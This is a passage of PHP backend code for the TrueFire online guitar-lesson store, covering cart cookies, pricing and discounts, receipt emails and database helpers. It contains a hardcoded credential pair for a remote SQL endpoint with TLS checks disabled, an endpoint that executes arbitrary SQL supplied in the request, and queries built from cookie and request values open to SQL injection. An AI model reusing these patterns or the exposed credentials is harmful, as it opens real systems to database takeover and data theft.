1097 // $this->debug['update_cart'][] = "$itemid not found adding";
1098 // $this->out['result'] = 'added';
1099 // $cart[] = $itemid;
1100 // }
1101 // $cart_string = implode('_',$cart);
1102 // $this->debug['update_cart']['new_cart'] = $cart_string;
1103 // if($cart_string){
1104 // setcookie('cart_cookie', $cart_string, time() + 31536000, "/", ".truefire.com", "0");
1105 // setcookie('cart_cookie', $cart_string, time() + 31536000, "/", "", "0");
1106 // if($this->core['member']['memberid'] && !$this->isLocalIP() && $this->core['member']['opt_abandoned_cart'] == 1){
1107 // $list = array();//update cart table
1108 // $list['memberid'] = $this->core['member']['memberid'];
1109 // $list['cart'] = $cart_string;
1110 // $list['ip'] = $_SERVER["REMOTE_ADDR"];
1111 // //$this->updateDB('truefire.cart_table',$list);
1112 // }
1113
1114 // }else{
1115 // $this->debug[] = "no items remaining deleting cookie";
1116 // setcookie('cart_cookie', 'empty', time() - 1000, "/", ".truefire.com", "0");
1117 // setcookie('cart_cookie', 'empty', time() - 1000, "/", "", "0");
1118 // $id = $this->core['member']['memberid'];
1119 // if($id){
1120 // $this->db->query("DELETE FROM truefire.cart_table WHERE memberid='$id'");
1121 // }
1122 // }
1123
1124 // if(!$internal){
1125 // return $this->output();
1126 // }
1127 }
1128
1129 public function update_cart_cookie($itemid, $internal = 1, $test_cart = null)
1130 {
1131 if (!is_numeric($itemid)) {
1132 return false;
1133 }
1134
1135 $this->debugging = true;
1136 $cart_string = ($test_cart) ? urldecode($test_cart) : $_COOKIE['cart_cookie'];
1137 if ($itemid == "destroy") {
1138 $this->debug['update_cart'] = "destroying cookie";
1139 setcookie('cart_cookie', 'empty', time() - 1000, "/", ".truefire.com", "0");
1140 //setcookie('cart_cookie', 'empty', time() - 1000, "/", "", "0");
1141 if (!$internal) {
1142 $this->out['result'] = 'destroyed';
1143
1144 //DELETE FROM ABANDONED
1145 return $this->output();
1146 }
1147 }
1148
1149 $cart = ($cart_string) ? explode("_", $cart_string) : '';
1150 $this->debug['update_cart']['existing_cart'] = $cart;
1151 if (in_array($itemid, $cart)) {
1152 $this->debug[] = "$itemid already in cart removing";
1153 if (($key = array_search($itemid, $cart)) !== false) {
1154 unset($cart[$key]);
1155 setcookie('cart_cookie', '', time() - 31536000, "/", "truefire.com", "0");
1156 $this->out['result'] = 'removed';
1157 }
1158 } else {
1159 $this->debug['update_cart'][] = "$itemid not found adding";
1160 $this->out['result'] = 'added';
1161 $cart[] = $itemid;
1162 }
1163 $cart_string = implode('_', $cart);
1164 $this->debug['update_cart']['new_cart'] = $cart_string;
1165 if ($cart_string) {
1166 setcookie('cart_cookie', $cart_string, time() + 31536000, "/", ".truefire.com", "0");
1167 //setcookie('cart_cookie', $cart_string, time() + 31536000, "/", "", "0");
1168 if ($this->core['member']['memberid'] && !$this->isLocalIP() && $this->core['member']['opt_abandoned_cart'] == 1) {
1169 $list = []; //update cart table
1170 $list['memberid'] = $this->core['member']['memberid'];
1171 $list['cart'] = $cart_string;
1172 $list['ip'] = $_SERVER["REMOTE_ADDR"];
1173 //$this->updateDB('truefire.cart_table',$list);
1174 }
1175
1176 } else {
1177 $this->debug[] = "no items remaining deleting cookie";
1178 setcookie('cart_cookie', 'empty', time() - 1000, "/", ".truefire.com", "0");
1179 //setcookie('cart_cookie', 'empty', time() - 1000, "/", "", "0");
1180 $id = $this->core['member']['memberid'];
1181 if ($id) {
1182 $this->db->query("DELETE FROM truefire.cart_table WHERE memberid='$id'");
1183 }
1184 }
1185
1186 // if($this->core['member']['member_json']){
1187 // require_once("/sumer/html/api/site/PrivateDeals.php");
1188 // $pd = new PrivateDeals();
1189 // $pd->itemid = $itemid;
1190 // $pd->event = "add_to_cart";
1191 // $pd->doMethods();
1192 // $pd->updateMember();
1193 // $this->debug($pd->debug,'pd');
1194 // }
1195 if (!$internal) {
1196 return $this->output();
1197 }
1198 }
1199
1200 /**
1201 * @access private
1202 */
1203 public function output()
1204 {
1205 $return = [];
1206 if ($this->out) {
1207 $return = $this->out;
1208 }
1209
1210 if ($this->errors) {
1211 $return['errors'] = $this->errors;
1212 }
1213
1214 if ($this->debug && $this->debugging && $this->isLocalIP()) {
1215 $return['debug'] = $this->debug;
1216 $executionTime = microtime(true) - $this->scriptTime;
1217 $return['debug']['script_execution_time'] = round($executionTime, 4) . ' seconds';
1218 }
1219
1220 if (SITE_DOMAIN != 'truefire.com') {
1221 $this->array_walk_recursive($return, [ & $this, 'convertToSiteDomain']);
1222 }
1223
1224 return ($return) ? $return : 0;
1225 }
1226
1227 /**
1228 * Connection to SQL Remote defaults to truefire.tv
1229 *
1230 * uses the sql-srv.html files found on all our servers for remote SQL access
1231 *
1232 * @param string $Qry the SQL query to be ran
1233 * @param string $server the maildog server default:truefire.tv
1234 * @param integer $db_utf8 encoding defaults to 1
1235 *
1236 * @access private
1237 * @return object data,error,count use $ret->data[0] to access information
1238 *
1239 */
1240 public function sql_remote($Qry, $server = "truefire.tv", $db_utf8 = 1)
1241 {
1242
1243 //TODO: move this method to core
1244 if (!$server) {
1245 $ret->error = 'FAIL';
1246 $ret->count = '0';
1247 $ret->err_str = 'Wrong server parameter';
1248
1249 return $ret;
1250 }
1251 set_time_limit(80);
1252 $remote_url = "https://$server/sql-srv.html";
1253 $Qry = 'qry=' . urlencode(base64_encode($Qry)) . '&db_utf8=' . $db_utf8;
1254 $ch = curl_init();
1255 curl_setopt($ch, CURLOPT_URL, $remote_url);
1256 curl_setopt($ch, CURLOPT_USERPWD, "livia52:pre18vod");
1257 curl_setopt($ch, CURLOPT_POST, 1);
1258 curl_setopt($ch, CURLOPT_POSTFIELDS, $Qry);
1259 curl_setopt($ch, CURLOPT_POSTFIELDSIZE, strlen($Qry));
1260 curl_setopt($ch, CURLOPT_TIMEOUT, 60);
1261 curl_setopt($ch, CURLOPT_HEADER, 0);
1262 curl_setopt($ch, CURLOPT_USERAGENT, "SQL-REMOTE");
1263
1264 //curl_setopt($ch,CURLOPT_SSLVERSION,3);
1265 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
1266 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
1267 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1268 $data = curl_exec($ch);
1269 curl_close($ch);
1270
1271 $data = explode("\n", $data);
1272 list($status, $count, $err_str) = explode(',', array_shift($data));
1273 if (!$err_str) {
1274 $ret->error = '';
1275 $ret->count = $count;
1276 foreach ($data as $d) {
1277 $ret->data[] = explode('<razdelitel>', $d);
1278 }
1279 } else {
1280 $ret->error = $status;
1281 $ret->count = '0';
1282 @
1283 $ret->err_str = $err_str;
1284 }
1285 $this->debug['maildog'][] = $ret;
1286
1287 return $ret;
1288 }
1289
1290 /**
1291 * @access private
1292 */
1293 public function encrypt($value = '', $salt = '')
1294 {
1295 if (!$value) {
1296 $this->errors[] = "No value was found for core::encrypt()";
1297
1298 return false;
1299 }
1300 require_once '/sumer/html/api/helpers/hashids/Hashids.php';
1301 $hash = new Hashids($salt);
1302
1303 return $hash->encode($value);
1304 }
1305
1306 /**
1307 * @access private
1308 */
1309 public function decrypt($value = '', $salt = '')
1310 {
1311 if (!$value) {
1312 $this->errors[] = "No value was found for core::dencrypt()";
1313
1314 return false;
1315 }
1316 require_once '/sumer/html/api/helpers/hashids/Hashids.php';
1317 $hash = new Hashids($salt);
1318
1319 return $hash->decode($value);
1320 }
1321
1322 /**
1323 * @access private
1324 */
1325 public function sendCustomerEmail($orderid, $list = null)
1326 {
1327 $q
1328 = "SELECT
1329 FROM_UNIXTIME(o.orderdate,'%m/%d/%Y') AS 'order_date',
1330 i.itemid,
1331 i.itemname,
1332 i.store,
1333 i.courseid,
1334 m.memberemail,
1335 o.invoice,
1336 o.shipping,
1337 o.shipname,
1338 o.shipaddress,
1339 o.shipaddress2,
1340 o.shipstate,
1341 o.shipzip,
1342 o.shipcountry,
1343 od.price,
1344 o.tfcash_conversion,
1345 o.amount,o.tax,o.giftcard_applied,o.orderid
1346
1347 FROM
1348 truefire.orderdetails od,
1349 truefire.orders o,
1350 truefire.members m,
1351 truefire.items i
1352 WHERE
1353 od.orderid = o.orderid
1354 AND o.memberid = m.memberid
1355 AND od.itemid = i.itemid
1356 AND o.orderid = '$orderid'";
1357
1358 $order = $this->getRecords($q);
1359
1360 $courses = false;
1361 $downloads = false;
1362 $otherdownloads = false;
1363 $itjs = false;
1364 $subscriptions = false;
1365 $workshops = false;
1366 $items_string = '';
1367 for ($i = 0; $i < count($order); $i++) {
1368 extract($order[$i]);
1369 if ($courseid > 1) {
1370 $courses = true;
1371 }
1372
1373 if ($store == 'audio_lessons') {
1374 $otherdownloads = true;
1375 }
1376
1377 if ($store == 'itj') {
1378 $itjs = true;
1379 }
1380
1381 if ($store == 'subscriptions') {
1382 $subscriptions = true;
1383 }
1384
1385 if ($store == 'workshops') {
1386 $workshops = true;
1387 }
1388
1389 $style = ($i % 2) ? "style='background:#EEE;'" : "";
1390 $items_string .= "<tr " . $style . "><td colspan=2>" . $itemname . "</td><td>" . $price . "</td></tr>";
1391 }
1392
1393 $list = [];
1394 $list['items_block'] = $items_string;
1395 $list['order_number'] = $orderid;
1396 $list['order_date'] = $order_date;
1397 $list['extras'] = '';
1398
1399 if ($courses) {
1400 $list['courses'] = '<p><strong>Courses</strong><br> All your purchased Courses are now available for download in the <a href="https://truefire.com/apps/">TrueFire app</a> (Windows, Mac, or iPad) or for streaming on any device. Dig in!<br> <a href="https://truefire.com/dashboard/my-courses/">My Courses ></a></p>';
1401 }
1402
1403 if ($otherdownloads) {
1404 $list['otherdownloads'] = '<p><strong>Other Downloads</strong><br> All your purchased Audio Lessons, Jam Tracks, or other items are now available for download. Enjoy!<br> <a href="https://truefire.com/dashboard/my-downloads/">My Other Downloads ></a></p>';
1405 }
1406
1407 if ($itjs) {
1408 $list['itjs'] = '<p><strong>In The Jam</strong><br> If you purchased an In The Jam, download the In The Jam desktop app for Windows or Mac now to get started! You can see all your purchased In The Jams at anytime in <a href="https://truefire.com/dashboard/my-jams/">My Jams ></a></p>';
1409 }
1410
1411 if ($subscriptions || $workshops) {
1412 $list['student'] = '<br> <strong>Student Plans & Classroom Enrollments</strong> <br> - Your account status has been updated and you will receive a separate email with more information about your new Student Plan or Classroom. <strong><a style="text-decoration:none;" HREF="http://truefire.com/">Log in now >></a></strong> <br>';
1413 }
1414
1415 if ($shipping) {
1416 $list['shippable'] = "<br> <strong>Software Discs & Physical Products</strong> <br> - Your order* will ship within 72 hours. You’ll be notified via email as soon as it's out the door. <strong><a style='text-decoration:none;' HREF='http://truefire.com/shipping'>Shipping policy >></a></strong> <br>";
1417 $list['shipping_name'] = $shipname;
1418 $list['shipping_address'] = $shipaddress . ' ' . $shipaddress2;
1419 $list['shipping_cityStateZip'] = $shipcity . ',' . $shipstate . ' ' . $shipzip;
1420 $list['shipping_country'] = $shipcountry;
1421 }
1422
1423 $str = '<td width="340" align="right"><strong>Order Subtotal:</strong><br>';
1424
1425 if ($shipping > 0) {
1426 $str .= "<strong>Shipping & Handling:</strong><br>";
1427 }
1428
1429 if ($tfcash_conversion > 0) {
1430 $str .= "<strong>TrueFire Cash Applied:</strong><br>";
1431 }
1432 if ($giftcard_applied > 0) {
1433 $str .= "<strong>Gift Certificate Applied:</strong><br>";
1434 }
1435 $str
1436 .= "<br><strong>ORDER TOTAL:</strong></td>
1437 <td width='30' align='right'> " . $amount . "<br>";
1438
1439 if ($shipping > 0) {
1440 $str .= $shipping . "<br>";
1441 }
1442 if ($tfcash_conversion) {
1443 $str .= "(" . $tfcash_conversion . ")<br>";
1444 }
1445 if ($giftcard_applied > 0) {
1446 $str .= "(" . $giftcard_applied . ")<br>";
1447 }
1448 $str .= "<br><strong>" . $amount . "</strong></td>";
1449 $list['order_summary'] = $str;
1450
1451 if ($_POST['payment']['firstname']) {
1452 $list['billing_name'] = "<br>{$_POST['payment']['firstname']} {$_POST['payment']['lastname']}<br>";
1453 }
1454
1455 if ($_POST['payment']['address']) {
1456 $list['billing_address'] = "{$_POST['payment']['address']}<br>";
1457 }
1458
1459 if ($_POST['payment']['city']) {
1460 $list['billing_cityStateZip'] = "{$_POST['payment']['city']}, {$_POST['payment']['state']}, {$_POST['payment']['zip']}<br>";
1461 }
1462
1463 if ($_POST['payment']['country']) {
1464 $list['billing_country'] = "{$_POST['payment']['country']}<br>";
1465 }
1466
1467 if ($this->cart['summary']['tfcashback']) {
1468 $list['tfcashearned'] = "{$this->cart['summary']['tfcashback']}";
1469 }
1470
1471 if ($this->core['member']['memberbalance']) {
1472 $list['tfcashtotal'] = number_format($this->core['member']['memberbalance'], 2);
1473 }
1474
1475 switch ($invoice) {
1476 default:
1477 $list['payment_method'] = "Credit Card";
1478 break;
1479 case ('0'):
1480 $list['payment_method'] = "FREE ORDER";
1481 break;
1482 case ('1'):
1483 $list['payment_method'] = "RECURRING BILLING";
1484 break;
1485 case ('3'):
1486 $list['payent_method'] = "PayPal";
1487 break;
1488 case ('4'):
1489 $list['payment_method'] = "Gift Certificate";
1490 break;
1491 case ('5'):
1492 $list['payment_method'] = "Download Card";
1493 break;
1494 case ('7'):
1495 $list['payment_method'] = "Amazon Purchase";
1496 break;
1497 case ('8'):
1498 $list['payment_method'] = "Merch Order";
1499 break;
1500 case ('9'):
1501 $list['payment_method'] = "Apple Purchase";
1502 break;
1503 }
1504
1505 $to = $memberemail;
1506 $subject = 'Order #' . $orderid;
1507 $from = 'info@truefire.com';
1508
1509 $message = $this->textReplaceInFile("/sumer/html/emails/orders/receipt.html", $list);
1510 $headers = "From: TrueFire <$from>\r\n";
1511 $headers .= 'Reply-To: help@truefire.com' . "\r\n";
1512 $headers .= "Content-type: text/html\r\n";
1513
1514 mail($to, $subject, $message, $headers);
1515 }
1516
1517 /**
1518 * @access private
1519 */
1520 public function textReplaceInFile($file, $list)
1521 {
1522
1523 // get contents of a file into a string
1524 $handle = fopen($file, "r");
1525 $contents = fread($handle, filesize($file));
1526 while (list($key, $val) = each($list)) {
1527 $key = "[" . $key . "]";
1528 if ($val) {
1529 $contents = str_replace($key, $val, $contents);
1530 } else {
1531 $contents = str_replace($key, "", $contents);
1532 }
1533 }
1534 $final = preg_replace('/\[\w+\]/', '', $contents);
1535
1536 return ($final);
1537
1538 fclose($handle);
1539 }
1540
1541 /**
1542 * @access private
1543 */
1544 public function getIDsFromQuery($q, $cache = true)
1545 {
1546 $x = $this->getRecords($q, false, true, $cache);
1547 $results = [];
1548 for ($i = 0; $i < count($x); $i++) {
1549 $results[] = $x[$i]['id'];
1550 }
1551
1552 return $results;
1553 }
1554
1555 public function your_price($item_price, $use_tfcash = true, $use_student_discount = true, $content_discount = 0, $use_promocode = 0)
1556 {
1557 if($this->isLocalIP()) $use_promocode=1;
1558 //return $item_price; //REMOVE AFTER PROMO
1559 $original_price = $item_price;
1560 //percent off from previously owned content
1561 if (!$this->core['member']) {
1562 return $item_price;
1563 }
1564
1565 $tfcash = 0;
1566 $student_discount = 0;
1567
1568 if ($content_discount && $item_price > 5) {
1569 $content_discount = $item_price * ($content_discount / 100);
1570 $this->debug[__FUNCTION__]['content_discount_before_price'][] = $item_price;
1571 $item_price = $item_price - $content_discount;
1572 $this->debug[__FUNCTION__]['content_discount'][] = $content_discount;
1573 $this->debug[__FUNCTION__]['content_discount_after_price'][] = $item_price;
1574 }
1575
1576 $cart_items = ($_COOKIE['cart_cookie']) ? str_replace("_", ",", $_COOKIE['cart_cookie']) : false;
1577 $remaining_cash = 0;
1578 if ($cart_items) {
1579 $remaining_cash = end($this->query("SELECT SUM(price * 0.25) from truefire.items where itemid in ($cart_items) and use_partial_tfcash = 1"));
1580 }
1581
1582 if ($remaining_cash) {
1583 $this->core['member']['memberbalance'] = $this->core['member']['memberbalance'] - $remaining_cash;
1584 }
1585
1586 if ($this->core['member']['memberbalance'] < 0) {
1587 $this->core['member']['memberbalance'] = 0;
1588 }
1589
1590 if ($use_tfcash && $this->core['member']['memberbalance']) {
1591 if ($this->core['member']['memberbalance'] >= ($item_price * .25)) {
1592 $tfcash = ($item_price * .25);
1593 } else {
1594 $tfcash = $this->core['member']['memberbalance'];
1595 }
1596
1597 //$tfcash = $tfcash*2;
1598
1599 if ($tfcash) {
1600 $item_price -= $tfcash;
1601 }
1602
1603 }
1604 if ($use_student_discount && $this->core['member']['discount_percentage']) {
1605 $student_discount = number_format(($item_price * ($this->core['member']['discount_percentage'] / 100)), 2);
1606 if ($student_discount) {
1607 $item_price -= $student_discount;
1608 }
1609
1610 }
1611
1612 $this->debug[__FUNCTION__][] = ['original_price' => $original_price, 'price' => $item_price, 'tfcash' => $tfcash, 'student_discount' => $student_discount, 'content_discount' => $content_discount, 'use_tfcash' => $use_tfcash, 'use_student_discount' => $use_student_discount];
1613 if ($use_promocode) {
1614 if ($this->core['member']['member_json']) {
1615 if ($json = json_decode($this->core['member']['member_json'], true)) {
1616 if ($json['potogold_date'] == date('Y-m-d') && is_numeric($json['potogold_discount'])) {
1617 return ['price' => ($original_price * (100 - $json['potogold_discount']) / 100),'percent' => $json['potogold_discount'],'potogold' => true];
1618 }
1619 }
1620 }
1621 }
1622
1623 return ['price' => $item_price, 'percent' => number_format((($tfcash + $student_discount + $content_discount) / $original_price) * 100)];
1624 }
1625
1626 /**
1627 * query
1628 *
1629 * @param string $q query
1630 *
1631 * @access protected
1632 */
1633 public function postGenericQuery()
1634 {
1635 $q = base64_decode($_REQUEST['q']);
1636 if (!$q) {
1637 $this->debug[] = $input = file_get_contents("php://input");
1638 $this->debug['input'] = $input = json_decode($input);
1639 $this->debug['q'] = $q = base64_decode($input->q);
1640 }
1641 if (!$q) {
1642 $q = base64_decode(urldecode($_REQUEST['q']));
1643 }
1644 if (!$q) {
1645 return $this->output();
1646 }
1647 $this->debug['q'] = $q;
1648 if (strtolower(substr($q, 0, 6)) == "select") {
1649 $x = $this->getRecords($q);
1650 $this->out['result'] = $x;
1651
1652 return $this->output();
1653 } else {
1654 //$this->dbConnect();
1655 if (!$this->db->prepare($q)) {
1656 $this->errors[] = ['q' => $q, 'error' => $this->db->error];
1657
1658 return $this->output();
1659 } else {
1660 $res = $this->db->query($q);
1661 if (!$res) {
1662 $this->errors[] = ['q' => $q, 'error' => $this->db->error];
1663
1664 } else {
1665 $aff = $this->db->affected_rows;
1666
1667 if ($aff) {
1668 $return = "$aff rows affected";
1669 }
1670
1671 if (strtolower(substr($q, 0, 6)) == "insert") {
1672 $return = $this->db->insert_id;
1673 }
1674
1675 }
1676 $this->out['result'] = $return;
1677 }
1678
1679 }
1680
1681 return $this->output();
1682 }
1683
1684 public function addRecentlyWatched($cid, $sid = null, $path = null)
1685 {
1686 //if(!is_numeric($sid) && $sid !=null) return false;
1687 if ($this->isLocalIP() && !in_array($this->core['member']['memberusername'], ['anonIV', 'gigglefudge28', 'johnezell', 'zachtruefire', 'wendkos', 'seenosayno', 'danthepicker', 'jeffscheetz', 'tboddy99', 'truefirestudio'])) {
1688 return false;
1689 }
1690
1691 $memberid = $this->core['member']['memberid'];
1692 if ($memberid && $cid && ($path || $sid)) {
1693 if ($path) {
1694 $sid = end($this->getRecords("SELECT s.id FROM channels.segments s,channels.channels ch,truefire.courses c WHERE ch.courseid=c.id AND s.channel_id=ch.id AND s.video='$path' AND c.id='$cid' AND c.status !=5 LIMIT 1", 1, 1));
1695 }
1696
1697 if ($sid) {
1698 $existing = end($this->getRecords("SELECT segments FROM truefire.recently_watched WHERE memberid='$memberid'", 1, 1));
1699 $existing = explode(',', $existing);
1700 if ($existing[0] != $sid) {
1701 array_unshift($existing, $sid);
1702 $this->debug($existing);
1703 $this->debug($segments, 'segments');
1704 $segments = array_slice($existing, 0, 100);
1705 $list['memberid'] = $memberid;
1706 $list['segments'] = implode(',', array_filter(array_unique($segments)));
1707 $this->updateDB('truefire.recently_watched', $list);
1708 }
1709 }
1710
1711 }
1712 }
1713
1714 public function dashedString($string)
1715 {
1716 $string = preg_replace("/[^[:alnum:][:space:]]/u", '', $string);
1717 $string = str_ireplace(' ', '-', $string);
1718
1719 return trim(strtolower($string));
1720 }
1721
1722 /**
1723 * @access private
1724 */
1725 private function findMemberZero(&$v, $k)
1726 {
1727 if (strpos($k, 'memberid')) {
1728 $v = trim($v);
1729 if ($v === 0 || $v == '' || !$v || $v == '0') {
1730 $msg = 'Possible Member Zero Found:';
1731 $msg .= '<pre>';
1732 $msg .= "<h3>SESSION:</h3>";
1733 $msg .= print_r($_SESSION, true);
1734 $msg .= "<h3>ERRORS:</h3>";
1735 $msg .= print_r($this->errors, true);
1736 $msg .= "<h3>DEBUG:</h3>";
1737 $msg .= print_r($this->debug, true);
1738 $msg .= "<h3>COOKIES:</h3>";
1739 $msg .= print_r($_COOKIE, true);
1740 $msg .= "<h3>POST:</h3>";
1741 $msg .= print_r($_POST, true);
1742 $msg .= "<h3>GET:</h3>";
1743 $msg .= print_r($_GET, true);
1744 $msg .= "<h3>SERVER:</h3>";
1745 $msg .= print_r($_SERVER, true);
1746 $msg .= "<h3>BackTrace:</h3>";
1747 $msg .= print_r(debug_backtrace(), true);
1748 $msg .= '</pre>';
1749 $from = "system@truefire.com";
1750 $subject = "DB Connect Error (Site)";
1751 $headers = "From: TrueFire Errors <$from>\r\n";
1752 $headers .= "Content-type: text/html\r\n";
1753 mail($to, $subject, $msg, $headers);
1754 }
1755 }
1756 }
1757
1758 public function getDiscountsForItem($item)
1759 {
1760 //is the item on a firesale?
1761 $details = [];
1762 $original_price = $current_price = ($item['stored_price'] > 0) ? $item['stored_price'] : $item['price'];
1763
1764 if ($item['stored_price'] > 0) {
1765 $t = [];
1766 $t['percent'] = number_format(100 - (($item['price'] / $item['stored_price']) * 100), 0);
1767 $current_price = $t['price'] = number_format($item['price'], 2);
1768 $t['type'] = 'sale';
1769 $details[] = $t;
1770 }
1771 if ($this->memberid && !$_POST['no_member_discount']) {
1772
1773 //do they have tfcash?
1774 //TODO:: compensate for items that are already in the cart (look at original core::your_prices()
1775 if ($this->core['member']['memberbalance'] > 0 && $item['use_partial_tfcash']) {
1776 if ($this->core['member']['memberbalance'] >= ($current_price * .25)) {
1777 $tfcash = ($current_price * .25);
1778 } else {
1779 $tfcash = $this->core['member']['memberbalance'];
1780 }
1781 $t = [];
1782 $t['percent'] = number_format((100 - ($tfcash / $current_price) * 100), 0);
1783 $current_price = $t['price'] = number_format($current_price - $tfcash, 2);
1784 $t['type'] = 'tfcash';
1785 $details[] = $t;
1786 }
1787
1788 if ($this->core['member']['discount_percentage'] && $item['tfu_discount']) {
1789 $t = [];
1790 $t['percent'] = $this->core['member']['discount_percentage'];
1791 $current_price = $t['price'] = number_format(((100 - $this->core['member']['discount_percentage']) / 100) * $current_price, 2);
1792 $t['type'] = 'member_discount';
1793 $details[] = $t;
1794 }
1795
1796 if ($item['use_promocode']) {
1797 if ($this->core['member']['member_json']) {
1798 if ($json = json_decode($this->core['member']['member_json'], true)) {
1799 if ($json['potogold_date'] == date('Y-m-d') && is_numeric($json['potogold_discount'])) {
1800 $current_price = $original_price * (100 - $json['potogold_discount']) / 100;
1801 $details = [];
1802 $details['price'] = number_format($original_price * (100 - $json['potogold_discount']) / 100, 2);
1803 $details['percent'] = $json['potogold_discount'];
1804 $details['potogold'] = true;
1805 $details['type'] = 'promotional_discount';
1806 }
1807 }
1808 }
1809 }
1810
1811 }
1812
1813 $percentage = number_format(100 - ($current_price / $original_price) * 100, 0);
1814 if ($percentage == 0) {
1815 return [];
1816 }
1817
1818 return ["price" => $current_price, "percent" => $percentage, "details" => $details];
1819 }
1820
1821 public function addAlert($memberid, $body, $reference = null, $type = null, $avatar = null, $img = null)
1822 {
1823
1824 if($this->isLocalIP()) return false;
1825
1826 if (!is_numeric($memberid)) {
1827 $memberid = end($this->getRecords("SELECT memberid FROM truefire.members WHERE memberusername='$memberid' || memberemail='$memberid'", 1));
1828 if (!$memberid) {
1829 return false;
1830 }
1831
1832 }
1833
1834 $filters = $this->getRecords("SELECT * FROM messaging.alert_filters WHERE memberid='$memberid'");
1835 $do_not_add = false;
1836 if ($filters) {
1837 for ($i = 0; $i < count($filters); $i++) {
1838 if ($reference) {
1839 if ($filters[$i]['reference'] == $reference) {
1840 $do_not_add = true;
1841 }
1842
1843 }
1844 if ($type) {
1845 if ($filters[$i]['type'] == $type) {
1846 $do_not_add = true;
1847 }
1848 }
1849 }
1850 }
1851 if ($do_not_add) {
1852 return false;
1853 }
1854
1855 return $this->updateDB("messaging.alerts", ["memberid" => $memberid, "body" => $body, "reference" => $reference, "type" => $type, "avatar" => $avatar, "img" => $img]);
1856 }
1857
1858 public function addOwnedCourses($memberid = null)
1859 {
1860 if (!$memberid) {
1861 $memberid = $this->core['member']['memberid'];
1862 }
1863
1864 if (!$memberid) {
1865 return false;
1866 }
1867
1868 $this->query("REPLACE into truefire.courses_owned SELECT o.memberid, GROUP_CONCAT(DISTINCT i.courseid ORDER BY detailid DESC) FROM truefire.orders o,truefire.orderdetails od, truefire.items i WHERE o.orderid=od.orderid AND i.itemid=od.itemid AND i.courseid NOT IN(0,680) and o.orderid > 126000 and o.memberid='$memberid' ");
1869 return true;
1870 }
1871
1872 public function addOwnedITJs($memberid = null)
1873 {
1874 if (!$memberid) {
1875 $memberid = $this->core['member']['memberid'];
1876 }
1877
1878 if (!$memberid) {
1879 return false;
1880 }
1881
1882 $this->query("REPLACE into truefire.itjs_owned SELECT o.memberid, GROUP_CONCAT(DISTINCT i.itj) FROM truefire.orders o,truefire.orderdetails od,truefire.items i WHERE o.orderid=od.orderid AND i.itemid=od.itemid AND i.itj > 1 and o.orderid > 1300000 and memberid ='$memberid'");
1883 return true;
1884 }
1885
1886}